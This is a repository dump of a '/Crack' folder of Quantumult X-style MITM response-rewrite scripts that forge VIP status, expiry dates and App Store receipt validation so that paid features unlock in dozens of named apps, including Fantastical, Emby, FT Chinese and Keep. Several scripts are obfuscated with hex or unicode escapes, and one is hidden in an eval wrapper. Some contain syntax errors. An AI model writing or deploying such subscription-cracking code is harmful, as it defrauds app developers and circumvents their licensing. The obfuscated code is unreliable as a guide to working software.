4 | var body = $response.body.replace(/\u0069\u0073\u0056\u0069\u0070\u0022\u003A\u0066\u0061\u006C\u0073\u0065/g, '\u0069\u0073\u0056\u0069\u0070\u0022\u003A\u0074\u0072\u0075\u0065').replace(/\u0065\u0078\u0070\u0045\u0078\u0070\u0069\u0072\u0065\u0054\u0069\u006D\u0065\u0022\u003A\u0022\u0031\u0036\u0030\u0037\u0031\u0034\u0031\u0039\u0035\u0030/g, '\u0065\u0078\u0070\u0045\u0078\u0070\u0069\u0072\u0065\u0054\u0069\u006D\u0065\u0022\u003A\u0022\u0031\u0038\u0030\u0037\u0031\u0034\u0031\u0039\u0035\u0030').replace(/\u0065\u0078\u0070\u0069\u0072\u0065\u0054\u0069\u006D\u0065\u0022\u003A\u0022\u0030/g, '\u0065\u0078\u0070\u0069\u0072\u0065\u0054\u0069\u006D\u0065\u0022\u003A\u0022\u0031\u0038\u0030\u0037\u0031\u0034\u0031\u0039\u0035\u0030');
5 | $done({ body });
--------------------------------------------------------------------------------
/Crack/clarity.js:
--------------------------------------------------------------------------------
1 | /*
2 | Unlocks Modified by @seeandthinkclearly 公众号:墨鱼手记
3 | */
4 | var body = $response.body;
5 | var url = $request.url;
6 | var obj = JSON.parse(body);
7 |
8 | const userinfo = '/userInfo';
9 | const setfree = '/special/queryByCatalogAll';
10 |
11 | if (url.indexOf(setfree) != -1) {
12 | for (var i = 0; i < obj.data.length; i++) {
13 | obj.data[i].isFree = true;
14 | obj.data[i].random = "Kqp5/Z35ga5WBeNcLue+dBwZW4ZWRoDFMAqqU48d06Y=";
15 | }
16 | body = JSON.stringify(obj);
17 | }
18 | if (url.indexOf(userinfo) != -1) {
19 | obj.data.level = 5;
20 | obj.data.expireTime = 4070965662;
21 | body = JSON.stringify(obj);
22 | }
23 | $done({body});
24 |
--------------------------------------------------------------------------------
/Crack/commerce.js:
--------------------------------------------------------------------------------
1 | /***********************************
2 | > 應用名稱:醒图&Ulike&轻颜相机&vaporcam
3 | > 軟件版本:0.0.0
4 | > 下載地址:https://apps.apple.com/us/app
5 | > 腳本作者:Cuttlefish
6 | > 微信賬號:墨魚手記
7 | > 解鎖說明:解鎖高級會員權限
8 | > 更新時間:2022-07-25
9 | > 通知頻道:https://t.me/ddgksf2021
10 | > 問題反饋:https://t.me/ddgksf2013_bot
11 | > 特別說明:⛔⛔⛔
12 | 本腳本僅供學習交流使用,禁止轉載售賣
13 | ⛔⛔⛔
14 | [rewrite_local]
15 |
16 | # ~ 醒图&Ulike&轻颜相机&vaporcam(四合一)解鎖會員權限(2022-05-09)@ddgksf2013
17 | https://(commerce-.*api|pay).(faceu|wecut).(com|mobi)/(commerce|apple)/(iosAppVerifyReceipt.php|v1/subscription/user_info) url script-response-body https://gitlab.com/ddgksf2013/Cuttlefish/-/raw/master/Crack/commerce.js
18 |
19 | [mitm]
20 | hostname=commerce-i18n-api.faceu.mobi,commerce-api.faceu.mobi, pay.wecut.com
21 |
22 | ***********************************/
23 |
24 |
25 | const path1 = "/commerce/v1/subscription/user_info";
26 | const path2 = "/apple/iosAppVerifyReceipt.php";
27 |
28 | let ddgksf2013 = JSON.parse($response.body);
29 |
30 | if ($request.url.indexOf(path1) != -1)
31 | {
32 | if(ddgksf2013.response){
33 | var tmp = JSON.parse(ddgksf2013.response);
34 | tmp.start_time = 1584674770;
35 | tmp.end_time = 4077660370;
36 | tmp.is_cancel_subscribe = false;
37 | tmp.subscribe_type = "auto";
38 | tmp.flag = true;
39 | tmp.cycle_unit = "12";
40 | ddgksf2013.response = JSON.stringify(tmp);
41 | }
42 | ddgksf2013.data.start_time = 1584674770;
43 | ddgksf2013.data.end_time = 4077660370;
44 | ddgksf2013.data.is_cancel_subscribe = false;
45 | ddgksf2013.data.subscribe_type = "auto";
46 | ddgksf2013.data.flag = true;
47 | ddgksf2013.data.cycle_unit = "12";
48 | }
49 | if ($request.url.indexOf(path2) != -1)
50 | {
51 | ddgksf2013.data = {"isValid": 1,"expiresTs": 4077660370}
52 | }
53 | $done({body: JSON.stringify(ddgksf2013)});
54 |
--------------------------------------------------------------------------------
/Crack/cpdq.js:
--------------------------------------------------------------------------------
1 | /*
2 | Unlocks by photonmang 公众号:墨鱼手记
3 | */
4 | var body = $response.body;
5 | var url = $request.url;
6 | var obj = JSON.parse(body);
7 |
8 | const vip = '/v4/User/getUserData';
9 | const dish = '/v4/dish/info';
10 | const sb = '/v4/User/getDeviceInfo';
11 | const bd = '/v4/User/bindVipCus';
12 |
13 | if (url.indexOf(vip) != -1) {
14 | obj["data"]["data"]["vip"]["is_open_vip"] = "1";
15 | obj["data"]["data"]["vip"]["is_vip"] = "2";
16 | body = JSON.stringify(obj);
17 | }
18 |
19 |
20 | if (url.indexOf(dish) != -1) {
21 | power = Object.keys(obj["data"]["power"]);
22 | if (power.length != 0) {
23 | obj["data"]["power"]["detail"]["video"]["common"]["isShow"] = "0";
24 | }
25 | body = JSON.stringify(obj);
26 | }
27 |
28 | if (url.indexOf(sb) != -1) {
29 | obj["data"]["is_vip"] = "2";
30 | body = JSON.stringify(obj);
31 | }
32 |
33 | if (url.indexOf(bd) != -1) {
34 | obj["data"]["state"] = "2";
35 | body = JSON.stringify(obj);
36 | }
37 |
38 | $done({body});
39 |
--------------------------------------------------------------------------------
/Crack/cutisan.js:
--------------------------------------------------------------------------------
1 | /*
2 |
3 | Author:@ddgksf2013
4 |
5 | 通知频道:https://t.me/ddgksf2021
6 |
7 | app: Cutisan V4.0.2
8 |
9 | https://cutisanapi.imuuzi.com/api/Home/index
10 |
11 | hostname=cutisanapi.imuuzi.com
12 |
13 | update time:20220130
14 |
15 | */
16 |
17 |
18 |
19 | var body = $response.body.replace(/download_url":""/g, 'download_url":"http:\/\/custisancdn.imuuzi.com\/b8395cc46cebc04b241caf07118ba5dd.jpg?imageMogr2\/thumbnail\/720x1560&e=1643508104&token=ErePNk7X80f9Btp_AA-88-wB3YxEZPEBlJtJpR49:qk8awUGfBDqEQK7WGQgThLihN80="')
20 | $done({ body });
--------------------------------------------------------------------------------
/Crack/cx.js:
--------------------------------------------------------------------------------
1 | var body = $response.body.replace('var isPay = document', 'var isPay = 1; #').replace('var articleProperties', 'var articleProperties2').replace(/nickname\":\".*?\"/g, 'nickname\":\"已解锁\"').replace('isFree\":\\d', 'isFree\":0').replace('aType\":\\d', 'aType\":0').replace('feeType\":\\d', 'feeType\":0')
2 |
3 | $done({ body });
4 |
--------------------------------------------------------------------------------
/Crack/cxzk.js:
--------------------------------------------------------------------------------
1 | /*
2 | Unlocks by Cuttlefish 公众号:墨鱼手记
3 | */
4 | var body = $response.body.replace(/\u0069\u0073\u0066\u0072\u0065\u0065\u0022\u003a\u0030/g, '\u0069\u0073\u0066\u0072\u0065\u0065\u0022\u003a\u0031');
5 | $done({ body });
6 |
--------------------------------------------------------------------------------
/Crack/ddqd.js:
--------------------------------------------------------------------------------
1 | var _0xf36b=["\x62\x6F\x64\x79","\x70\x61\x72\x73\x65","\x70\x72\x6F\x45\x6E\x64\x44\x61\x74\x65","\x32\x30\x39\x39\x2D\x30\x31\x2D\x30\x31\x54\x30\x30\x3A\x30\x30\x3A\x30\x30\x2E\x30\x30\x30\x2B\x30\x30\x30\x30","\x6E\x65\x65\x64\x53\x75\x62\x73\x63\x72\x69\x62\x65","\x70\x72\x6F","\x73\x74\x72\x69\x6E\x67\x69\x66\x79"];var body=$response[_0xf36b[0]];var obj=JSON[_0xf36b[1]](body);obj[_0xf36b[2]]= _0xf36b[3];obj[_0xf36b[4]]= false;obj[_0xf36b[5]]= true;body= JSON[_0xf36b[6]](obj);$done(body)
2 |
--------------------------------------------------------------------------------
/Crack/done.js:
--------------------------------------------------------------------------------
1 | /*
2 | Unlocks by Cuttlefish 公众号:墨鱼手记
3 | */
4 | var body = $response.body.replace(/"uvip":"0"/g, '"uvip":"1"').replace(/totime":"\d{4}/g, 'totime":"2029').replace(/nickname":"\\u666e\\u901a\\u7528\\u6237"/g, 'nickname":"\u58a8\u9c7c\u624b\u8bb0"').replace(/uhead":"[^"]+"/g,'uhead":"http:\/\/dbapi.ganbuguo.com\/\/uploads\/file\/20200914\/3f8c5019e2bc056a7b226623205126f3.jpg"')
5 | $done({ body });
6 |
--------------------------------------------------------------------------------
/Crack/duitangpro.js:
--------------------------------------------------------------------------------
1 | /***********************************
2 | > 應用名稱:堆糖
3 | > 軟件版本:8.8.0
4 | > 下載地址:https://apps.apple.com/cn/app/id533415763
5 | > 腳本作者:Cuttlefish
6 | > 微信賬號:墨魚手記
7 | > 更新時間:2022-08-03
8 | > 通知頻道:https://t.me/ddgksf2021
9 | > 問題反饋:https://t.me/ddgksf2013_bot
10 | > 特别說明:⛔⛔⛔
11 | 本腳本僅供學習交流使用,禁止轉載售賣
12 | ⛔⛔⛔
13 |
14 |
15 | [rewrite_local]
16 |
17 | # ~ 堆糖解鎖會員權限(2022-05-05)@ddgksf2013
18 | ^https?:\/\/api\.duitang\.com\/napi\/vienna\/graphic\/template url script-response-body https://gitlab.com/ddgksf2013/Cuttlefish/-/raw/master/Crack/duitangpro.js
19 |
20 | [mitm]
21 |
22 | hostname=api.duitang.com
23 |
24 | ***********************************/
25 |
26 |
27 |
28 |
29 |
30 | ['sojson.v4']["\x66\x69\x6c\x74\x65\x72"]["\x63\x6f\x6e\x73\x74\x72\x75\x63\x74\x6f\x72"](((['sojson.v4']+[])["\x63\x6f\x6e\x73\x74\x72\x75\x63\x74\x6f\x72"]['\x66\x72\x6f\x6d\x43\x68\x61\x72\x43\x6f\x64\x65']['\x61\x70\x70\x6c\x79'](null,"118H97T114w32Y99m117p116l116F108t101n102L105h115Z104j32Q61n123p34A119L97C114I110o105S110l103w34b58b34C26412r33139e26412L20677E20379T23416z32722p20132g27969X20351D29992Q65292N31105V27490V36681v36617m21806L36067L34E44u34z116L103V99R104R97G110z110z101Q108J34f58K34o104B116d116N112X115i58z47D47E116b46p109i101K47O100c100w103M107m115z102S50M48j50g49w34f44v34W102W101B101L100A98f97B99A107C34c58o34Z104K116e116G112O115o58F47a47f116O46F109x101G47e100S100V103K107n115U102O50H48G49q51a95h98u111y116L34F125U59S10a118y97Q114b32B98W111x100X121O32C61r32h36p114k101k115A112j111v110W115O101E46x98I111F100T121o46y114d101z112Q108J97F99C101e40g47O118U105A112R84l121C112t101b34M58G34N83j86G73L80N47X103c44G32C39l118F105a112y84W121Z112x101k34A58A34r78e79S78x69o39Q41X59F10R36z100A111G110n101N40y123u32L98n111N100T121c32v125j41Y59"['\x73\x70\x6c\x69\x74'](/[a-zA-Z]{1,}/))))('sojson.v4');
31 |
--------------------------------------------------------------------------------
/Crack/dxmx.js:
--------------------------------------------------------------------------------
1 | re('"free":\\w+@"vip":\\w+@"expires":\\d+@"isVip":\\w+','"free":true@"vip":ture@"expires":9999999999000@"isVip":true')
2 |
3 | function re() {
4 | var body = $response.body;
5 | if (arguments[0].includes("@")) {
6 | var regs = arguments[0].split("@");
7 | var strs = arguments[1].split("@");
8 | for (i = 0;i < regs.length;i++) {
9 | var reg = new RegExp(regs[i],"g");
10 | body = body.replace(reg, strs[i]);
11 | }
12 | }
13 | else {
14 | var reg = new RegExp(arguments[0],"g");
15 | body = body.replace(reg, arguments[1]);
16 | }
17 | $done(body);
18 | }
--------------------------------------------------------------------------------
/Crack/egdd.js:
--------------------------------------------------------------------------------
1 | /*
2 | Unlocks by Cuttlefish 公众号:墨鱼手记
3 | */
4 | var body = $response.body.replace(/vip":0/g, 'vip":1').replace(/vip_endtime":"0/g, 'vip_endtime":"1800000000')
5 | $done({ body });
--------------------------------------------------------------------------------
/Crack/elabook.js:
--------------------------------------------------------------------------------
1 | /***********************************
2 |
3 | > 應用名稱:咿啦看書
4 | > 軟件版本:2.8.5
5 | > 下載地址:https://apps.apple.com/cn/app/id1176775033
6 | > 腳本作者:Cuttlefish
7 | > 微信賬號:墨魚手記
8 | > 更新時間:2022-02-17
9 | > 通知頻道:https://t.me/ddgksf2021
10 | > 問題反饋:https://t.me/ddgksf2013_bot
11 | > 特别說明:本腳本僅供學習交流使用,禁止轉載售賣
12 |
13 | [rewrite_local]
14 |
15 | # ~ 咿啦看書解鎖會員權限(2022-02-17)@ddgksf2013
16 | https?:\/\/bookapi\.ellabook\.cn\/rest\/api\/service$ url script-response-body https://gitlab.com/ddgksf2013/Cuttlefish/-/raw/master/Crack/elabook.js
17 |
18 | [mitm]
19 |
20 | hostname=bookapi.ellabook.cn
21 |
22 | ***********************************/
23 |
24 |
25 |
26 |
27 |
28 | body = $response.body.replace(/ip":"NO"/g, "ip\":\"YES\"")
29 | .replace(/ip":"VIP_NO"/g, "ip\":\"VIP_YES\"")
30 | .replace(/code":"\d{10}/g, "code\":\"0x00000000")
31 | .replace(/status":"\d/g, "status\":\"1");
32 | $done({body});
33 |
--------------------------------------------------------------------------------
/Crack/emby.js:
--------------------------------------------------------------------------------
1 | /**
2 | * @author: KleinerSource
3 | *
4 | * @fileoverview Example to compose response for rewrite of script-echo-response.
5 | *
6 | * $request.url, $notify(title, subtitle, message), console.log(message), $done(response)
7 | *
8 | * @supported Quantumult X (v1.0.3-build141)
9 | */
10 | var url = $request.url;
11 |
12 | const myStatus = "HTTP/1.1 200 OK";
13 | const myHeaders = {
14 | "Crack": "KS",
15 | "Access-Control-Allow-Origin": "*",
16 | "Access-Control-Allow-Headers": "*",
17 | "Access-Control-Allow-Method": "*",
18 | "Access-Control-Allow-Credentials": "true"
19 | };
20 |
21 |
22 | if (url.indexOf('/admin/service/registration/validateDevice') != -1) {
23 | obj = {
24 | "cacheExpirationDays": 365,
25 | "message": "Device Valid",
26 | "resultCode": "GOOD"
27 | };
28 | } else if (url.indexOf('/admin/service/appstore/register') != -1) {
29 | obj = {
30 | "featId":"",
31 | "registered":true,
32 | "expDate":"2099-01-01",
33 | "key":""
34 | };
35 | } else if (url.indexOf('/admin/service/registration/validate') != -1) {
36 | obj = {
37 | "featId":"",
38 | "registered":true,
39 | "expDate":"2099-01-01",
40 | "key":""
41 | };
42 | } else if (url.indexOf('/admin/service/registration/getStatus') != -1){
43 | obj = {
44 | "planType":"Cracked",
45 | "deviceStatus":"",
46 | "subscriptions":[]
47 | };
48 | } else if (url.indexOf('/admin/service/supporter/retrievekey') != -1){
49 | obj = {
50 | "Success":false,
51 | "ErrorMessage":"Supporter not found"
52 | };
53 | }
54 |
55 | myData = JSON.stringify(obj);
56 |
57 | const myResponse = {
58 | status: myStatus,
59 | headers: myHeaders, // Optional.
60 | body: myData // Optional.
61 | };
62 |
63 | $done(myResponse);
--------------------------------------------------------------------------------
/Crack/emmo.js:
--------------------------------------------------------------------------------
1 | /*
2 | Unlocks by Wangzp
3 | */
4 | var body = $response.body;
5 | let obj = JSON.parse(body);
6 | obj.data.user["isLifeVip"] = "1",
7 | obj.data.user["isVip"] = "1",
8 | obj.data.user["isApplePurchase"] = true,
9 | obj.data.user["vipEndTime"] = "2029-11-16",
10 | body = JSON.stringify(obj);
11 | $done({body});
12 |
--------------------------------------------------------------------------------
/Crack/englishread.js:
--------------------------------------------------------------------------------
1 | /*
2 | Unlocks by demo2099
3 | */
4 | var body = $response.body;
5 | let url=$request.url;
6 | if(url.endsWith("QueryVipUser")){
7 | body={
8 | "isVip": true,
9 | "code": 200,
10 | "expireDays": 5201314
11 | };
12 | }
13 | body=JSON.stringify(body);$done({body});
14 |
--------------------------------------------------------------------------------
/Crack/etsqgs.js:
--------------------------------------------------------------------------------
1 |
2 |
--------------------------------------------------------------------------------
/Crack/fantastical.js:
--------------------------------------------------------------------------------
1 | /*
2 | Unlocks by Cuttlefish 公众号:墨鱼手记
3 | */
4 | let url = $request.url;
5 | const path1="v1/auth/device";
6 | const path2="v1/account/details";
7 | let obj = JSON.parse($response.body);
8 | if (url.indexOf(path1) != -1) {
9 | obj["subscription"]={
10 | "autorenew": true,
11 | "expiration": "2099-02-15T09:09:14Z",
12 | "expires": "2099-02-15T09:09:14Z"
13 | }
14 | }
15 | if (url.indexOf(path2) != -1) {
16 | obj["subscription"]={
17 | "autorenew": true,
18 | "expiration": "2099-02-15T09:09:14.000000Z",
19 | "uuid": "3c5927a6-4e3e-4773-b7af-62506e036dc7",
20 | "subscription_type": "AppStore",
21 | "is_expired": false,
22 | "trial": false
23 | }
24 | }
25 | $done({body: JSON.stringify(obj)});
26 |
--------------------------------------------------------------------------------
/Crack/fdds.js:
--------------------------------------------------------------------------------
1 | /*
2 | Unlocks by Cuttlefish 公众号:墨鱼手记
3 | */
4 | var body = $response.body.replace(/\u0075\u0079\u0065\u0064\u0022\u003A\u0066\u0061\u006C\u0073\u0065/g, '\u0075\u0079\u0065\u0064\u0022\u003A\u0074\u0072\u0075\u0065').replace(/\u0066\u0072\u0065\u0065\u0022\u003A\u0066\u0061\u006C\u0073\u0065/g, '\u0066\u0072\u0065\u0065\u0022\u003A\u0074\u0072\u0075\u0065').replace(/\u0074\u0072\u0069\u0061\u006C\u0022\u003A\u0066\u0061\u006C\u0073\u0065/g, '\u0074\u0072\u0069\u0061\u006C\u0022\u003A\u0074\u0072\u0075\u0065')
5 | $done({ body });
6 |
--------------------------------------------------------------------------------
/Crack/fiton.js:
--------------------------------------------------------------------------------
1 | /*
2 | Unlocks by cuttlefish 公众号:墨鱼手记
3 | */
4 | var obj = JSON.parse($response.body);
5 | obj= {
6 | "status": "OK",
7 | "msg": "",
8 | "code": 200,
9 | "data": {
10 | "isAuthorized": true
11 | }
12 | };
13 | $done({body: JSON.stringify(obj)});
14 |
--------------------------------------------------------------------------------
/Crack/fitplan.js:
--------------------------------------------------------------------------------
1 | /*
2 | Unlocks by Cuttlefish 公众号:墨鱼手记
3 | */
4 | var body = $response.body.replace(/\u0045\u0078\u0070\u0069\u0072\u0061\u0074\u0069\u006F\u006E\u0054\u0069\u006D\u0065\u0073\u0074\u0061\u006D\u0070\u0022\u003A\u0030/g, '\u0045\u0078\u0070\u0069\u0072\u0061\u0074\u0069\u006F\u006E\u0054\u0069\u006D\u0065\u0073\u0074\u0061\u006D\u0070\u0022\u003A\u0033\u0038\u0031\u0034\u0034\u0039\u0035\u0036\u0035\u0037\u0030\u0030\u0030').replace(/\u0073\u0075\u0062\u0073\u0063\u0072\u0069\u0070\u0074\u0069\u006F\u006E\u0053\u0074\u0061\u0074\u0075\u0073\u0022\u003A\u0022\u0055\u006E\u006B\u006E\u006F\u0077\u006E\u0022/g, '\u0073\u0075\u0062\u0073\u0063\u0072\u0069\u0070\u0074\u0069\u006F\u006E\u0053\u0074\u0061\u0074\u0075\u0073\u0022\u003A\u0022\u0074\u0072\u0069\u0061\u006C\u0069\u006E\u0067\u0022').replace(/\u0045\u0078\u0070\u0069\u0072\u0061\u0074\u0069\u006F\u006E\u0054\u0069\u006D\u0065\u0073\u0074\u0061\u006D\u0070\u0022\u003A\u0031\u0037\u0032\u0038\u0030\u0030\u0030\u0030\u0030/g, '\u0045\u0078\u0070\u0069\u0072\u0061\u0074\u0069\u006F\u006E\u0054\u0069\u006D\u0065\u0073\u0074\u0061\u006D\u0070\u0022\u003A\u0033\u0038\u0031\u0034\u0034\u0039\u0035\u0036\u0035\u0037\u0030\u0030\u0030')
5 | $done({ body });
6 |
--------------------------------------------------------------------------------
/Crack/fly.js:
--------------------------------------------------------------------------------
1 | /*
2 |
3 | Author:@ddgksf2013
4 |
5 | 通知频道:https://t.me/ddgksf2021
6 |
7 | */
8 | var body = $response.body;
9 | var ddgksf2013 = JSON.parse(body);
10 |
11 | if (ddgksf2013.Variables.data.threaddetail)
12 | {
13 | ddgksf2013.Variables.data.threaddetail.tagadv = "";
14 | ddgksf2013.Variables.data.threaddetail.threadapp_ad_video = [];
15 | ddgksf2013.Variables.data.threaddetail.pingyouadv = "";
16 | ddgksf2013.Variables.data.threaddetail.middleadv = "";
17 | ddgksf2013.Variables.data.threaddetail.bottomadv = "";
18 | ddgksf2013.Variables.data.threaddetail.appdetailadv = [];
19 | }
20 | //delete ddgksf2013.Variables.data.threaddetail.threadapp_ad_video;
21 | //delete ddgksf2013.Variables.data.threaddetail.tagadv;
22 | //delete ddgksf2013.Variables.data.threaddetail.middleadv;
23 | //delete ddgksf2013.Variables.data.threaddetail.pingyouadv;
24 | //delete ddgksf2013.Variables.data.threaddetail.bottomadv;
25 | //delete ddgksf2013.Variables.data.threaddetail.appdetailadv;
26 |
27 | $done({body: JSON.stringify(ddgksf2013)});
--------------------------------------------------------------------------------
/Crack/foco.js:
--------------------------------------------------------------------------------
1 |
2 |
3 | var body = $response.body.replace(/is_expire":1/g','is_expire":0').replace(/expired_at":0/g','expired_at":4800000000').replace(/grade":0/g,'grade":5');
4 | $done({ body });
5 |
--------------------------------------------------------------------------------
/Crack/fotiaoqiang.js:
--------------------------------------------------------------------------------
1 | var body = $response.body.replace(/isvip":0/g, 'isvip":1').replace(/vip_time":0/g, 'vip_time":1950110621').replace(/vip_status":0/g, 'vip_status":1')
2 | $done({ body });
3 |
--------------------------------------------------------------------------------
/Crack/ftchinese.js:
--------------------------------------------------------------------------------
1 | /***********************************
2 |
3 | > 應用名稱:FT中文網
4 | > 軟件版本:6.11.45
5 | > 下載地址:https://apps.apple.com/cn/app/id443870811
6 | > 腳本作者:群友投稿
7 | > 微信賬號:墨魚手記
8 | > 更新時間:2022-03-06
9 | > 通知頻道:https://t.me/ddgksf2021
10 | > 問題反饋:https://t.me/ddgksf2013_bot
11 | > 特別說明:本腳本僅供學習交流使用,禁止轉載售賣
12 |
13 | [rewrite_local]
14 |
15 | # ~ FT中文網解鎖會員權限(2022-03-06)@ddgksf2013
16 | ^https?:\/\/user\.ftmailbox\.cn\/ios-receipt-validation\.php.* url script-response-body https://gitlab.com/ddgksf2013/Cuttlefish/-/raw/master/Crack/ftchinese.js
17 |
18 | [mitm]
19 |
20 | hostname=user.ftmailbox.cn
21 |
22 | ***********************************/
23 |
24 |
25 |
26 |
27 |
28 |
29 |
30 |
31 |
32 |
33 |
34 |
35 |
36 |
37 |
38 |
39 |
40 |
41 |
42 |
43 |
44 |
45 | $done({body: JSON.stringify({environment:"Production",receipt:{in_app:[{quantity:"1",product_id:"com.ft.ftchinese.mobile.subscription.vip",expires_date:"2023-04-02 22:22:22 Etc/GMT",expires_date_ms:"1680465780000",expires_date_pst:"2023-04-02 22:22:22 America/Los_Angeles",in_app_ownership_type:"PURCHASED"}]},latest_receipt_info:[{quantity:"1",product_id:"com.ft.ftchinese.mobile.subscription.vip",expires_date:"2023-04-02 22:22:22 Etc/GMT",expires_date_ms:"1680465780000",expires_date_pst:"2023-04-02 22:22:22 America/Los_Angeles",in_app_ownership_type:"PURCHASED"}],latest_receipt:"NA",pending_renewal_info:[{auto_renew_product_id:"com.ft.ftchinese.mobile.subscription.vip",product_id:"com.ft.ftchinese.mobile.subscription.vip",auto_renew_status:"0"}],status:0})});
--------------------------------------------------------------------------------
/Crack/hh.js:
--------------------------------------------------------------------------------
1 | var body = $response.body.replace(/specialExclusion":1/g, 'specialExclusion":0').replace(/backState":1/g, 'backState":null').replace(/intoState":0/g, 'intoState":null');
2 | $done({ body });
3 |
--------------------------------------------------------------------------------
/Crack/hulu.js:
--------------------------------------------------------------------------------
1 | /*
2 | Unlocks by Cuttlefish 公众号:墨鱼手记
3 | */
4 |
5 | var body = $response.body.replace(/"IsVip":0/g, "IsVip":0);
6 | $done({ body });
7 | var body = $response.body;
8 | var url = $request.url;
9 | const path1 = "api";
10 | if (url.indexOf(path1) != -1)
11 | {
12 | let obj = JSON.parse(body);
13 | if(obj.hasOwnProperty("result"))
14 | {
15 | if(obj.result.hasOwnProperty("resource"))
16 | {
17 | for (i in obj.result.resource.items)
18 | {
19 | if(obj.result.resource.items[i].hasOwnProperty("articles"))
20 | {
21 | for (j in obj.result.resource.items[i].articles)
22 | {
23 | obj.result.resource.items[i].articles[j].isFree = "1";
24 | }
25 | }
26 | }
27 | }
28 | obj.result.isFree = "1";
29 | obj.result.isBuy = "1";
30 | obj.result.userRight = "1";
31 | if(obj.result.hasOwnProperty("user"))
32 | {
33 | obj.result.user.isBuy = "1";
34 | obj.result.user.userRight = "1";
35 | }
36 | }
37 | body = JSON.stringify(obj);
38 | }
39 | $done({body});
40 |
--------------------------------------------------------------------------------
/Crack/hyperweb.js:
--------------------------------------------------------------------------------
1 | /*
2 | #hyperweb
3 | ^https://zy6kcqa01a.execute-api.us-east-2.amazonaws.com/prod/verifyReceipt"
4 | */
5 | var url = $request.url;
6 | let obj = JSON.parse($response.body);
7 |
8 | obj= {
9 | "autoRenewStatus" : "0",
10 | "isActive" : true,
11 | "expireDateMs" : 4072897555000,
12 | "expirationIntent" : "USER_CANCELLED",
13 | "productId" : "ai.laso.ios.HyperWeb.yearly.subscription"
14 | }
15 | ;
16 |
17 | $done({body:JSON.stringify(obj)});
18 |
--------------------------------------------------------------------------------
/Crack/hzdgs.js:
--------------------------------------------------------------------------------
1 | /*
2 | Unlocks by Cuttlefish 公众号:墨鱼手记
3 | */
4 | var body = $response.body.replace(/\u006D\u0065\u006D\u0062\u0065\u0072\u0073\u0068\u0069\u0070\u0022\u003A\u0066\u0061\u006C\u0073\u0065/g, '\u006D\u0065\u006D\u0062\u0065\u0072\u0073\u0068\u0069\u0070\u0022\u003A\u0074\u0072\u0075\u0065').replace(/\u006E\u0065\u0065\u0064\u004D\u0065\u006D\u0062\u0065\u0072\u0073\u0068\u0069\u0070\u0022\u003A\u0074\u0072\u0075\u0065/g, '\u006E\u0065\u0065\u0064\u004D\u0065\u006D\u0062\u0065\u0072\u0073\u0068\u0069\u0070\u0022\u003A\u0074\u0072\u0075\u0065').replace(/\u0075\u006E\u006C\u006F\u0063\u006B\u0022\u003A\u0066\u0061\u006C\u0073\u0065/g, '\u0075\u006E\u006C\u006F\u0063\u006B\u0022\u003A\u0074\u0072\u0075\u0065')
5 | $done({ body });
6 |
--------------------------------------------------------------------------------
/Crack/jabi.js:
--------------------------------------------------------------------------------
1 | /*
2 | Unlocks by Cuttlefish 公众号:墨鱼手记
3 | */
4 |
5 |
6 | //var body = unescape(body1);
7 |
8 | //var date= '/"date":"[^"]*"/g';
9 | //var reg = '"download":"[^"]*"';
10 |
11 | var date= $response.body.match(/"date":"[^"]*"/g);
12 |
13 | var body= $response.body.match(/"download":"[^"]*"/g);
14 |
15 | console.log(body);
16 |
17 |
18 | //target.replace(/quot/g,'\');
19 |
20 | //var tt = target.replace(/&/g,'&').replace(/quot/g,'\').replace(//g,'>');
21 |
22 | //$notify("图文内容","", date[0]+body[0]+date[1]+body[1];
23 | $notify("扎比科技","", '\n'+date[0]+'\n'+body[0]+'\n\n'+date[1]+'\n'+body[1]+'\n\n'+date[2]+'\n'+body[2]);
24 |
25 |
26 | $done({ body });
27 | //var reg = /[\u4e00-\u9fa5]/g;
28 |
--------------------------------------------------------------------------------
/Crack/keep.js:
--------------------------------------------------------------------------------
1 | if ($request['url']['indexOf']('/athena/v5/people/my') != -1) {
2 | re('memberStatus\":\\d+@username\":"[^"]+', 'memberStatus\":1@username\":\"ddgksf2013');
3 | }
4 | if ($request['url']['indexOf']('/nuocha/plans') != -1) {
5 | re('errorCode\":\\d+@status\":\\w+@text\":"[^"]+"@schema\":"[^"]+"', 'errorCode":0@status":true@text":null@schema":null');
6 | }
7 |
8 |
9 | function re() {var body = $response.body;if (arguments[0].includes("@")) {var regs = arguments[0].split("@");var strs = arguments[1].split("@");for (i = 0;i < regs.length;i++) {var reg = new RegExp(regs[i],"g");body = body.replace(reg, strs[i]);}}else {var reg = new RegExp(arguments[0],"g");body = body.replace(reg, arguments[1]);}$done(body);}
10 |
11 |
12 |
--------------------------------------------------------------------------------
/Crack/kpgg.js:
--------------------------------------------------------------------------------
1 | /*
2 | Unlocks by Cuttlefish 公众号:墨鱼手记
3 | */
4 | var body = $response.body.replace(/listAd":"1/g, 'listAd":"0').replace(/AdId":"[^"]*"/g, 'AdId":""').replace(/adid":"[^"]*"/g, 'adid":""');
5 | $done({ body });
6 |
--------------------------------------------------------------------------------
/Crack/ktxj.js:
--------------------------------------------------------------------------------
1 | obj={"\x73\x65\x63\x72\x65\x74":"\x57\x56\x52\x4e\x4e\x55\x31\x58\x54\x54\x42\x4f\x56\x47\x4e\x33\x54\x6d\x70\x46\x65\x56\x70\x58\x56\x58\x6c\x4f\x52\x47\x73\x77","\x63\x6f\x64\x65":"\x31\x30\x31","\x6d\x73\x67":"\u83b7\u53d6\u6210\u529f","\x64\x61\x74\x61":{"\x75\x69\x64":"\x33\x33\x33\x38\x36\x34\x36","\x75\x73\x65\x72\x6e\x61\x6d\x65":"\u516c\u4f17\u53f7\u58a8\u9c7c\u624b\u8bb0","\x68\x65\x61\x64\x5f\x70\x68\x6f\x74\x6f":"\x68\x74\x74\x70\x73\x3a\x2f\x2f\x74\x68\x69\x72\x64\x71\x71\x2e\x71\x6c\x6f\x67\x6f\x2e\x63\x6e\x2f\x67\x3f\x62\x3d\x6f\x69\x64\x62\x26\x6b\x3d\x73\x4c\x65\x6f\x51\x4b\x39\x50\x4a\x4e\x50\x58\x58\x46\x62\x49\x49\x55\x52\x34\x66\x41\x26\x73\x3d\x31\x30\x30\x26\x74\x3d\x31\x35\x39\x34\x31\x33\x31\x31\x32\x35","\x6f\x75\x74\x5f\x74\x69\x6d\x65":"\x31\x38\x37\x31\x34\x37\x32\x38\x39\x39","\x76\x69\x70":"\x31"}};$done({body:JSON['\x73\x74\x72\x69\x6e\x67\x69\x66\x79'](obj)});
2 |
--------------------------------------------------------------------------------
/Crack/kuwo.js:
--------------------------------------------------------------------------------
1 | /*
2 | https://github.com/NobyDa
3 | */
4 | var body = $response.body;
5 | var url = $request.url;
6 | var obj = JSON.parse(body);
7 | const vip = '/vip/v2/user/vip';
